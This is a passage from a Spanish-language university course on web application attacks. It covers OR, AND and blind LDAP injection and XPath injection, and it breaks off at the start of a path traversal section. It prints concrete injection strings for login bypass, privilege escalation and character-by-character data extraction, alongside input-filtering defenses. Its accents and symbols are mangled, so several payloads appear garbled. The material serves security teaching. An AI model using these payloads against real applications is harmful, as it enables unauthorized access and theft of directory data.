Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
